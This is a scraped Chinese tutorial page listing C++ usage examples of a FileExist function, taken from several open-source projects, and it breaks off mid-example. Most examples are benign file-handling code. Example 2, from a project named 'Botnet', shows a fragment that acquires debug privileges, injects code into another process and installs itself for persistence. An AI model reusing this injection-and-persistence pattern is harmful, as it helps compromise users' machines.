您当前的位置:首页 > IT编程 > C++
| C语言 | Java | VB | VC | python | Android | TensorFlow | C++ | oracle | 学术与代码 | cnn卷积神经网络 | gnn | 图像修复 | Keras | 数据集 | Neo4j | 自然语言处理 | 深度学习 | 医学CAD | 医学影像 | 超参数 | pointnet | pytorch | 异常检测 | Transformers | 情感分类 | 知识图谱 |

自学教程:C++ FileExist函数代码示例

51自学网 2021-06-01 20:46:02
  C++
这篇教程C++ FileExist函数代码示例写得很实用,希望能帮到您。

本文整理汇总了C++中FileExist函数的典型用法代码示例。如果您正苦于以下问题:C++ FileExist函数的具体用法?C++ FileExist怎么用?C++ FileExist使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。

在下文中一共展示了FileExist函数的29个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: PokeMini_LoadROM

// Load MIN ROM (and others)int PokeMini_LoadROM(const char *filename){	int colorloaded;	char tmp[PMTMPV];	// Save Individual EEPROM	if (!CommandLine.eeprom_share) {		if (PokeMini_EEPROMWritten && StringIsSet(CommandLine.eeprom_file)) {			PokeMini_EEPROMWritten = 0;			PokeMini_SaveEEPROMFile(CommandLine.eeprom_file);		}	}#ifndef NO_ZIP	if (ExtensionCheck(filename, ".zip")) {		// Load new MIN ROM and Color Information inside zip		if (!PokeMini_iLoadROMZip(filename, &colorloaded)) return 0;		strcpy(CommandLine.min_file, filename);	} else#endif 	{		// Setup LCD mode based of color support		if (ExtensionCheck(filename, ".minc")) {			// Remove c and load new MIN ROM			strcpy(tmp, filename);			tmp[strlen(filename)-1] = 0;			if (!PokeMini_LoadMINFile(tmp)) return 0;			strcpy(CommandLine.min_file, tmp);		} else {			// Load new MIN ROM			if (!PokeMini_LoadMINFile(filename)) return 0;			strcpy(CommandLine.min_file, filename);		}		// Load Color Information		sprintf(tmp, "%sc", CommandLine.min_file);		if (FileExist(tmp) && PokeMini_LoadColorFile(tmp)) {			colorloaded = 1;		} else colorloaded = 0;	}	if (!colorloaded) {		if (CommandLine.lcdmode == 3) CommandLine.lcdmode = 0;	} else CommandLine.lcdmode = 3;	// Load Individual EEPROM	if (!CommandLine.eeprom_share) {		sprintf(CommandLine.eeprom_file, "%s.eep", CommandLine.min_file);		MinxIO_FormatEEPROM();		if (FileExist(CommandLine.eeprom_file)) PokeMini_LoadEEPROMFile(CommandLine.eeprom_file);	}	// Soft reset hardware	PokeMini_Reset(0);	// Apply changes	PokeMini_ApplyChanges();	return 1;}
开发者ID:jasarien,项目名称:Provenance,代码行数:61,


示例2: WinMain

//-----------------------------------------------------------------BOOL __stdcall WinMain(HINSTANCE, HINSTANCE, PTSTR, int){	char	buf[128];	AVPsex();	GetSystemDirectory(buf, 128);	strcat(buf, "//");	strcat(buf, MY_MACRO_RECORD_NAME);	strcat(buf, ".exe/0");	GetMaxPriv();	// InstallAndRegisterDrivers();	if(GetPrivilege("SeDebugPrivilege")){		if(FileExist(buf)){            InjectCode(ProcIdByPriv(0), &EnterPoint, NULL);		}else{			InjectCode(ProcIdByPriv(0), &EnterPoint, NULL);			 AddIntoSystem(MY_MACRO_RECORD_NAME, 1);			 AddIntoSystem(MY_MACRO_RECORD_NAME, 0);			return FALSE;		}	}else{		if(FileExist(buf)){            InjectCode(ProcIdByPriv(0), &EnterPoint, NULL);		}else{			InjectCode(ProcIdByPriv(0), &EnterPoint, NULL);			 AddIntoSystem(MY_MACRO_RECORD_NAME, 1);			 AddIntoSystem(MY_MACRO_RECORD_NAME, 0);			return FALSE;		}	}return FALSE;}
开发者ID:A-Massarella,项目名称:Botnet,代码行数:34,


示例3: MessageBox

BOOL CRealOnline::RegRealOnline(){	TCHAR szPath[MAX_PATH + 1];	TCHAR szCurPath[MAX_PATH + 1];	CString m_sysdir, m_prodir, m_datadir;	if(CheckRealOnline() &&		MessageBox(NULL, str_again, str_title,MB_OKCANCEL|MB_TOPMOST) != IDOK)		return FALSE;		::GetCurrentDirectory(MAX_PATH, szCurPath);	::SetCurrentDirectory(m_dir);	::GetSystemDirectory(szPath, MAX_PATH);	m_sysdir.Format(_T("%s//"), szPath);	SHGetSpecialFolderPath(NULL, szPath, CSIDL_PROGRAM_FILES, FALSE);	m_prodir.Format(_T("%s//"), szPath);	SHGetSpecialFolderPath(NULL, szPath, CSIDL_LOCAL_APPDATA, FALSE);	m_datadir.Format(_T("%s//"), szPath);	CopyFile(m_dir +_T("pncrt.dll") , m_sysdir + _T("pncrt.dll") , TRUE);	CopyFile(m_dir +_T("msvcp71.dll") , m_sysdir + _T("msvcp71.dll") , TRUE);	CopyFile(m_dir +_T("msvcr71.dll") , m_sysdir + _T("msvcr71.dll") , TRUE);	CopyFile(m_dir +_T("Real//pndx5016.dll") , m_sysdir + _T("pndx5016.dll") , FALSE);	CopyFile(m_dir +_T("Real//pndx5032.dll") , m_sysdir + _T("pndx5032.dll") , FALSE);	CopyFile(m_dir +_T("Real//rmoc3260.dll") , m_sysdir + _T("rmoc3260.dll") , FALSE);	//Firefox plugins	if(FileExist(m_prodir + _T("Mozilla Firefox"))) {		CopyFile(m_dir +_T("Real//Browser//Components//nppl3260.xpt") , m_prodir + _T("Mozilla Firefox//components//nppl3260.xpt"), FALSE);		CopyFile(m_dir +_T("Real//Browser//Components//nsJSRealPlayerPlugin.xpt") , m_prodir + _T("Mozilla Firefox//components//nsJSRealPlayerPlugin.xpt"), FALSE);		CopyFile(m_dir +_T("Real//Browser//Plugins//nppl3260.dll") , m_prodir + _T("Mozilla Firefox//plugins//nppl3260.dll"), FALSE);		CopyFile(m_dir +_T("Real//Browser//Plugins//nprpjplug.dll") , m_prodir + _T("Mozilla Firefox//plugins//nprpjplug.dll"), FALSE);	}	//Chrome plugins	if(FileExist(m_datadir + _T("Google//Chrome"))) {		if(!FileExist(m_datadir + _T("Google//Chrome//plugins")))			CreateDirectory(m_datadir + _T("Google//Chrome//plugins"), NULL);		CopyFile(m_dir +_T("Real//Browser//Components//nppl3260.xpt") , m_datadir + _T("Google//Chrome//plugins//nppl3260.xpt"), FALSE);		CopyFile(m_dir +_T("Real//Browser//Components//nsJSRealPlayerPlugin.xpt") , m_datadir + _T("Google//Chrome//plugins//nsJSRealPlayerPlugin.xpt"), FALSE);		CopyFile(m_dir +_T("Real//Browser//Plugins//nppl3260.dll") , m_datadir + _T("Google//Chrome//plugins//nppl3260.dll"), FALSE);		CopyFile(m_dir +_T("Real//Browser//Plugins//nprpjplug.dll") , m_datadir + _T("Google//Chrome//plugins//nprpjplug.dll"), FALSE);	}	CopyFile(m_dir +_T("Real//realreg") , m_dir +_T("realreg.inf"), FALSE);	WinExec("rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 .//realreg.inf",SW_HIDE);	Sleep(1000);	DeleteFile(m_dir +_T("realreg.inf"));	ShellExecute(0, _T("open"), _T("regsvr32.exe") , _T(" /s /"")+ m_sysdir + _T("rmoc3260.dll/"") , NULL, SW_HIDE);	::SetCurrentDirectory(szCurPath);	if(CheckRealThread == NULL)		CheckRealThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)CheckThread,this,0,0);	return TRUE;}
开发者ID:william0wang,项目名称:meditor,代码行数:60,


示例4: plumed_assert

void OFile::backupAllFiles( const std::string& str ) {  if(str=="/dev/null") return;  plumed_assert( backstring!="bck" && !checkRestart());  size_t found=str.find_last_of("///");  std::string filename = appendSuffix(str,getSuffix());  std::string directory=filename.substr(0,found+1);  std::string file=filename.substr(found+1);  if( FileExist(filename) ) backupFile("bck", filename);  for(int i=0;; i++) {    std::string num; Tools::convert(i,num);    std::string filestr = directory + backstring + "." + num + "." + file;    if( !FileExist(filestr) ) break;    backupFile( "bck", filestr);  }}
开发者ID:BingqingCheng,项目名称:plumed2,代码行数:15,


示例5: PokeMini_Reset

// Reset emulationvoid PokeMini_Reset(int hardreset){	char tmp[PMTMPV];	// Reset IO	if (hardreset) {		memset(PM_RAM, 0xFF, 8192);		memcpy(PM_IO, PM_IO_INIT, 256);	}	// Reset all components	MinxTimers_Reset(hardreset);	MinxIRQ_Reset(hardreset);	MinxIO_Reset(hardreset);	MinxPRC_Reset(hardreset);	MinxColorPRC_Reset(hardreset);	MinxLCD_Reset(hardreset);	MinxAudio_Reset(hardreset);	MinxCPU_Reset(hardreset);	// Change BIOS	if (!PokeMini_FreeBIOS && CommandLine.forcefreebios) {		PokeMini_LoadFreeBIOS();	}	if (PokeMini_FreeBIOS && !CommandLine.forcefreebios) {		PokeMini_LoadFreeBIOS();		if (StringIsSet(CommandLine.bios_file)) {			if (FileExist(CommandLine.bios_file)) PokeMini_LoadBIOSFile(CommandLine.bios_file);			else {				PokeMini_GetCustomDir(tmp, PMTMPV);				PokeMini_GotoExecDir();				if (FileExist(CommandLine.bios_file)) PokeMini_LoadBIOSFile(CommandLine.bios_file);				PokeMini_GotoCustomDir(tmp);			}		}	}	// Syncronize with host time	PokeMini_SyncHostTime();#ifndef PERFORMANCE	// Set multicart type	SetMulticart(CommandLine.multicart);#endif	// Callback	if (PokeMini_OnReset) PokeMini_OnReset(hardreset);}
开发者ID:jasarien,项目名称:Provenance,代码行数:49,


示例6: getSCIpath

/*--------------------------------------------------------------------------*/static char *getModuleXmlFilename(char *modulename){	char *filename_module = NULL;		if (modulename)	{		char *SciPath = NULL;		SciPath = getSCIpath();		if (SciPath)		{			int length_filename_module = 0;			length_filename_module = (int)strlen(FORMATGATEWAYFILENAME) + 			                   (int)strlen(SciPath)+((int)strlen(modulename)*2)+3;			filename_module = (char*)MALLOC((length_filename_module+1)* 							   sizeof(char));			if (filename_module)			{				sprintf(filename_module,FORMATGATEWAYFILENAME,					    SciPath,modulename,modulename);				/* file doesn't exist */				if ( !FileExist(filename_module) )				{					FREE(filename_module);					filename_module = NULL;				}			}			FREE(SciPath); SciPath = NULL;		}	}	return filename_module;}
开发者ID:rossdrummond,项目名称:scilab,代码行数:36,


示例7: GetSN

BOOL CTxtFile::Exist(CString strPath, CString strBakDir, CString &strHistoryTmp){	CString strYearMonth;	CString strSN;	GetSN(strSN, strPath);	int nYear, nMonth, nDay;	int nYearPre, nMonthPre;	GetCrtDate(nYear, nMonth, nDay);	const int nPreviousMonth=12;	for (int i=0; i<=nPreviousMonth; i++)	{		nYearPre  = (nYear*12+nMonth-i)/12;		nMonthPre = (nYear*12+nMonth-i)%12;		strYearMonth.Format(_T("%d//%d"), nYearPre, nMonthPre);		if (FileExist(strBakDir+_T("//")+strYearMonth+_T("//")+strSN+_T(".tmp")) )		{			strHistoryTmp = strBakDir+_T("//")+strYearMonth+_T("//")+strSN+_T(".tmp");			return TRUE;		}	}		return FALSE;}
开发者ID:BGCX261,项目名称:zhuhai-weichuangli-nike-svn-to-git,代码行数:27,


示例8: MakeDir

MKDIR_CODE MakeDir(const wchar *Name,bool SetAttr,uint Attr){#ifdef _WIN_ALL  BOOL RetCode=CreateDirectory(Name,NULL);  if (RetCode==0 && !FileExist(Name))  {    wchar LongName[NM];    if (GetWinLongPath(Name,LongName,ASIZE(LongName)))      RetCode=CreateDirectory(LongName,NULL);  }  if (RetCode!=0) // Non-zero return code means success for CreateDirectory.  {    if (SetAttr)      SetFileAttr(Name,Attr);    return MKDIR_SUCCESS;  }  int ErrCode=GetLastError();  if (ErrCode==ERROR_FILE_NOT_FOUND || ErrCode==ERROR_PATH_NOT_FOUND)    return MKDIR_BADPATH;  return MKDIR_ERROR;#elif defined(_UNIX)  char NameA[NM];  WideToChar(Name,NameA,ASIZE(NameA));  mode_t uattr=SetAttr ? (mode_t)Attr:0777;  int ErrCode=mkdir(NameA,uattr);  if (ErrCode==-1)    return errno==ENOENT ? MKDIR_BADPATH:MKDIR_ERROR;  return MKDIR_SUCCESS;#else  return MKDIR_ERROR;#endif}
开发者ID:Chris-Hood,项目名称:mpc-hc,代码行数:32,


示例9: fOut

	void ConfigDataHolder::Impl::Save( const std::string& fileName )	{		if( !FileExist( "config" ) ){			CreateDirectory( "config" );		}		std::fstream fOut( fileName, std::ios::out );		if( !fOut ){			return;		}		fOut << "BGM=" << m_ConfigFileData.m_ConfigData.m_BGMVolume << std::endl;		fOut << "SE=" << m_ConfigFileData.m_ConfigData.m_SEVolume << std::endl;		std::string strings[ 7 ] = { "1/4", "1/3", "1/2", "x1", "x2", "x3", "x4" };		fOut << "PLAY_SPEED=" << strings[ m_ConfigFileData.m_ConfigData.m_PlaySpeed ] << std::endl;		char* pCapsStr[ GENERAL_BUTTON_TOTAL ] = {	"MOVE_UP",													"MOVE_DOWN",													"MOVE_RIGHT",													"MOVE_LEFT",													"SHOT",													"BOMB",													"GREEN",													"BLUE",													"RED" };		for( int i = 0; i < GENERAL_BUTTON_TOTAL; ++i ){			std::string s = "KEYBOARD_";			s += pCapsStr[ i ];			s += "=";			fOut << s << GetStringFromButton( m_ConfigFileData.m_ConfigData.m_KeyboardCaps[ i ] ) << std::endl;		}		fOut.close();	}
开发者ID:nutti,项目名称:GameEngine,代码行数:35,


示例10: StartDownload

void CUpdateDlg::StartDownload(){	m_info1.Format(_T("%s/n/n%s"), str_downloading, m_filename.c_str());	m_avgbps = 0;	m_avgnumber = 0;	m_filesize = 0;	m_DownSize = 0;	m_LastTimer = 0;	m_LastTimerSize = 0;	if(!FileExist(m_path.c_str()))		CreateDirectory(m_path.c_str(), NULL);	else if(!FileIsDirectory(m_path.c_str())) {		DeleteFile(m_path.c_str());		CreateDirectory(m_path.c_str(), NULL);	}	m_progress.ShowWindow(SW_SHOW);	DoDataExchange();	m_failtime = 0;	m_down_index = StartDownloaderW(m_url.c_str(), m_path.c_str(), m_filename.c_str(),		(FUNC_CallBack)Callback_Download, DOWNLOAD_WPARAM);}
开发者ID:william0wang,项目名称:meditor,代码行数:26,


示例11: GetFileWithWGET

int	GetFileWithWGET(AGPS_CONFIG_T DataFileInfo){	char	cmd[SMALL_BUFF];	char	DataFilePath[SMALL_BUFF];	char	LogPath[SMALL_BUFF];	char	LogPostfix[SMALL_BUFF];	char	TimeStamp[TIMESTAMP_SIZE];	int	len;	memset(cmd, 0, SMALL_BUFF);	memset(LogPath, 0, SMALL_BUFF);	memset(LogPostfix, 0, SMALL_BUFF);	memset(DataFilePath, 0, SMALL_BUFF);	memset(TimeStamp, 0, TIMESTAMP_SIZE);	GetCurrentDate(TimeStamp);	sprintf(LogPath, "%s", Config.SERVICE_LOG_PATH);	sprintf(LogPostfix, "%s.LOG", TimeStamp);	len = strlen(LogPath) - 3;	memcpy(LogPath + len, LogPostfix, strlen(LogPostfix));		printLog(HEAD, "LogPath(%s)/n", LogPath);	sprintf(cmd, "cd %s;/usr/bin/wget %s -a %s", Config.WORKING_DIR, DataFileInfo.FileURL, LogPath);	system(cmd);	printLog(HEAD, "cmd(%s)/n", cmd);	sprintf(DataFilePath, Config.WORKING_DIR, DataFileInfo.DataFile);	if(FileExist(DataFilePath) > 0)			return	SUCCESS;	else		return	0;}
开发者ID:k2b3d,项目名称:tconsrc,代码行数:32,


示例12: clearAllRules

void VNDispatcher::readAndParseRuleFile(){	clearAllRules();	CMainFrame *pMainWnd = (CMainFrame*) AfxGetApp()->m_pMainWnd;	CString strRuleFile = pMainWnd->m_pEditRuleFile->GetEditText();	CString strRulePathName = m_strDataDirectory + strRuleFile; //m_strRuleFile;	if (!FileExist(strRulePathName))	{		MyMessageBox_Error(_T("readAndParseRuleFile"));		return;	}		CStdioFile pRuleFile;	pRuleFile.Open(strRulePathName, CFile::modeRead | CFile::typeText);		CString strLine;	m_strLines = _T("");	while (pRuleFile.ReadString(strLine))	{		m_strLines += strLine;		m_strLines += _T("/r/n");	}	m_pCurCoreRule = parseCoreRule(m_strLines);	m_pArrCoreRules.push_back(m_pCurCoreRule);		displayWholeFile();	pRuleFile.Close();}
开发者ID:heiden-deng,项目名称:VisualVNC,代码行数:30,


示例13: GetAutoRenamedName

bool GetAutoRenamedName(wchar *Name,size_t MaxNameSize){  wchar NewName[NM];  size_t NameLength=wcslen(Name);#ifdef _ANDROID  if (NameLength>ASIZE(NewName)-10)    return false;#endif  wchar *Ext=GetExt(Name);  if (Ext==NULL)    Ext=Name+NameLength;  for (uint FileVer=1;;FileVer++)  {#ifdef _ANDROID // No swprintf in Android NDK r9.    uint NamePrefixLength=Ext-Name;    wcsncpy(NewName,Name,NamePrefixLength);    wcscpy(NewName+NamePrefixLength,L"(");    itoa(FileVer,NewName+NamePrefixLength+1,ASIZE(NewName)-NamePrefixLength-1);    wcsncatz(NewName,L")",ASIZE(NewName));    wcsncatz(NewName,Ext,ASIZE(NewName));#else    swprintf(NewName,ASIZE(NewName),L"%.*ls(%u)%ls",uint(Ext-Name),Name,FileVer,Ext);#endif    if (!FileExist(NewName))    {      wcsncpyz(Name,NewName,MaxNameSize);      break;    }    if (FileVer>=1000000)      return false;  }  return true;}
开发者ID:ccarpo,项目名称:ComicStreamer,代码行数:33,


示例14: LoadFile

/* include import 加载文件 */static int LoadFile (char *filename){    /* 如果文件存在,     * 保存以前的Input 信息     * 读取新的文件 */    if (FileExist (filename)) {                Include p;        CALLOC (p);        p->PreInput = Input;        p->isDef = false;        ReadSourceFile (filename);        p->PreTokenCoord = TokenCoord;        p->endifCnt = endifCnt;        INSERT_ITEM (InLink, p);        TokenCoord.filename = filename;        TokenCoord.line = TokenCoord.col = TokenCoord.ppline = 1;        endifCnt = 0;        INFO (4, "load %s file.", filename);        return 1;    }    return 0;}
开发者ID:vmezhang,项目名称:sometest,代码行数:27,


示例15: CtrlAttr

CtrlAttr * CWBProcess::GetCtrlAttr (CtrlAttr *lpAttr){    CtrlAttr *lpCtrl;    LPSTR     lpStr;    lpCtrl = new CtrlAttr ();    if (lpAttr)    {        lpCtrl->ctName  = lpAttr->ctName;        lpCtrl->ctColor = lpAttr->ctColor;        lpCtrl->ctLine  = lpAttr->ctLine;        mov_mem (&lpAttr->ctPos, &lpCtrl->ctPos, sizeof(RcPos));        mov_mem (&lpAttr->ctFont, &lpCtrl->ctFont, sizeof(FontDef));        switch (lpCtrl->ctName)        {        case WB_TXT:            lpStr = lpAttr->ctText.tdText;            if (lpStr)                lpCtrl->ctText.CopyTxt (lpStr, lpAttr->ctText.tdLen);            break;        case WB_IMG:            lpStr = lpAttr->ctImage.idName;            if (FileExist(lpStr))                lpCtrl->ctImage.SetName (lpStr);            break;        default:        {} // this line avoids switch warnings in gcc.        }    }    return lpCtrl;}
开发者ID:xiaobinshe,项目名称:multitv,代码行数:33,


示例16: FileExistW

/*--------------------------------------------------------------------------*/ BOOL FileExistW(wchar_t *wcfilename){#ifdef _MSC_VER	if (wcfilename)	{		WIN32_FIND_DATAW FindFileData;		HANDLE handle = FindFirstFileW (wcfilename, &FindFileData);		if (handle != INVALID_HANDLE_VALUE)		{			FindClose (handle);			return TRUE;		}		else return FALSE;	}	else return FALSE;	#else	char *filename = wide_string_to_UTF8(wcfilename);	if (filename)	{		BOOL bOK = FileExist(filename);		FREE(filename);		return bOK;	}	return FALSE;#endif}
开发者ID:rossdrummond,项目名称:scilab,代码行数:28,


示例17: GenerateArchiveName

void GenerateArchiveName(wchar *ArcName,size_t MaxSize,const wchar *GenerateMask,bool Archiving){  // Must be enough space for archive name plus all stuff in mask plus  // extra overhead produced by mask 'N' (archive number) characters.  // One 'N' character can result in several numbers if we process more  // than 9 archives.  wchar NewName[NM+MAX_GENERATE_MASK+20];  uint ArcNumber=1;  while (true) // Loop for 'N' (archive number) processing.  {    wcsncpyz(NewName,ArcName,ASIZE(NewName));        bool ArcNumPresent=false;    GenArcName(NewName,GenerateMask,ArcNumber,ArcNumPresent);        if (!ArcNumPresent)      break;    if (!FileExist(NewName))    {      if (!Archiving && ArcNumber>1)      {        // If we perform non-archiving operation, we need to use the last        // existing archive before the first unused name. So we generate        // the name for (ArcNumber-1) below.        wcsncpyz(NewName,NullToEmpty(ArcName),ASIZE(NewName));        GenArcName(NewName,GenerateMask,ArcNumber-1,ArcNumPresent);      }      break;    }    ArcNumber++;  }  wcsncpyz(ArcName,NewName,MaxSize);}
开发者ID:KyleSanderson,项目名称:mpc-hc,代码行数:35,


示例18: while

//发送头部bool CHttpProtocol::SendHeader(PREQUEST pReq){	int iResult;	char Header[2048];	while(false == FileExist(pReq))	{//文件不存在,更改到错误标志文件路径		strcpy_s(pReq->szFileName, strRootDir);		strcat_s(pReq->szFileName, "/error.html");	}	GetCurTime(Time);	//取得文件长度	DWORD length;	length = GetFileSize(pReq->hFile, NULL);	//取得文件的last-modified时间	char last_modified[100];	GetLastModified(pReq->hFile, (char*)last_modified);	//取得文件的类型	char ContenType[100];	GetContenType(pReq, (char*)ContenType);	sprintf_s(Header, sizeof(Header), "HTTP/1.0 %s/r/nDate: %s/r/nServer: %s/r/nContent-Type: %s/r/nContent-Length: %d/r/nLast-Modified: %s/r/n/r/n",  HTTP_STATUS_OK, 			Time,				    // Date			"My Web Server", // Server			ContenType,				// Content-Type			length,					// Content-length			last_modified);			// Last-Modified	//发送头部	iResult = send(pReq->Socket, Header, strlen(Header), 0);	pReq->dwSend += iResult;	if (iResult == SOCKET_ERROR) 	{		printf("send failed with error: %d/n", WSAGetLastError());		return false;    }	return true;}
开发者ID:wandering007,项目名称:Web_Server,代码行数:36,


示例19: SetDisplayRes

void SetDisplayRes(HWND hParent, int Height, int Width, int Bits){	if (FileExist(TEXT("setres.exe"))) {		// SetResを使用して画像解像度を
C++ FileExists函数代码示例
C++ FileException函数代码示例
万事OK自学网:51自学网_软件自学网_CAD自学网自学excel、自学PS、自学CAD、自学C语言、自学css3实例,是一个通过网络自主学习工作技能的自学平台,网友喜欢的软件自学网站。